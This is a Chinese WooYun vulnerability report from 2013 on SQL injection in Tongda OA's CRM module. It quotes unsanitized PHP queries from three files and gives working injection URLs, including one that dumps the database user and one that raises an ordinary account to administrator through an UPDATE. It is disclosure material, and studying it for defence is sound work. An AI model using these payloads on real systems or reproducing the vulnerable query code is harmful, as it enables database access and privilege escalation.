当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-041302

漏洞标题:通达OA一个SQL注射漏洞(需登录)

相关厂商:通达信科

漏洞作者: applychen

提交时间:2013-10-28 17:41

修复时间:2014-01-23 17:42

公开时间:2014-01-23 17:42

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-10-28: 细节已通知厂商并且等待厂商处理中
2013-11-02: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2013-12-27: 细节向核心白帽子及相关领域专家公开
2014-01-06: 细节向普通白帽子公开
2014-01-16: 细节向实习白帽子公开
2014-01-23: 细节向公众公开

简要描述:

通达OA SQL注射漏洞,需登录。

详细说明:

程序是集成化安装,在php.ini中register_globals设置为on,允许注册全局变量。
在/general/crm/apps/crm/include/deleteView.php文件中$id变量未初始化:

include_once( "general/crm/studio/header.php" );
include_once( "inc/utility.php" );
$flag = 0;
$query = "delete from crm_sys_list_view where id=".$id;
$cursor = exequery( $connection, $query );


测试语句如下:

http://oa.tongda2000.com:81/general/crm/apps/crm/include/deleteView.php?id=1 and (select 1 from (select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.tables group by x)a)%23


1.png


在/general/crm/apps/crm/include/delete_submit.php中

ob_end_clean( );
$ATTACHMENT_ID = $_POST['ATTACH_ID'];
$ATTACHMENT_NAME = $_POST['ATTACH_NAME'];
$ENTITY_NAME = $_POST['ENTITY_NAME'];
$FIELD_NAME = $_POST['FIELD_NAME'];
$KEY_ID = $_POST['KEY_ID'];
$ATTACH_TYPE = $_POST['ATTACH_TYPE'];
$query = "select ".$FIELD_NAME.",".$FIELD_NAME."_text from ".$ENTITY_NAME." where id ='".$KEY_ID."'";
$cursor = exequery( $connection, $query );


$ENTITY_NAME、$FIELD_NAME、$ENTITY_NAME都未进行过滤可以注射SQL语句。

3.png


在/general/crm/modules/Account/account/DeleteView/index.php文件中:

include_once( "general/crm/apps/crm/header.php" );
$entity = $_GET['entity'];
$ids = $_GET['ids'];
$query = "update ".$entity." set ".$entity.( ".deleted = 1 where find_in_set(id, '".$ids."')" );
$cursor = exequery( $connection, $query );


$entity变量未初始化,导致能够更新数据库内的任意表,这里使用的是一般权限账号chr登录。

4.png


下面将chr update为管理员权限。

http://oa.tongda2000.com:81/general/crm/modules/Account/account/DeleteView/index.php?entity=user set USER_PRIV=1 where user_id=0x636872%23


5.png

漏洞证明:

同上

修复方案:

初始化并过滤变量

版权声明:转载请注明来源 applychen@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-01-23 17:42

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2013-10-28 18:43 | saline ( 普通白帽子 | Rank:231 漏洞数:32 | Focus On Web Secur1ty)

    2013版的?为何我这边解密不了

  2. 2013-10-28 23:31 | applychen ( 普通白帽子 | Rank:163 漏洞数:16 | 白发现首)

    @saline 2013版的,这个场景下面无需解密password即可得到账户管理权限,但前提是要有登录账户……

  3. 2013-10-29 09:26 | saline ( 普通白帽子 | Rank:231 漏洞数:32 | Focus On Web Secur1ty)

    不是啊洞主,我是说通达OA的zend加密我一直没搞出明文,求pm下明文源码读读啊

  4. 2013-11-21 09:42 | saline ( 普通白帽子 | Rank:231 漏洞数:32 | Focus On Web Secur1ty)

    不是最新版吧?

  5. 2013-11-21 17:00 | applychen ( 普通白帽子 | Rank:163 漏洞数:16 | 白发现首)

    @saline 这个漏洞发的时候是可以的,官方demo站测试通过,10月份官方更新版本之后,CRM模块就被干掉了。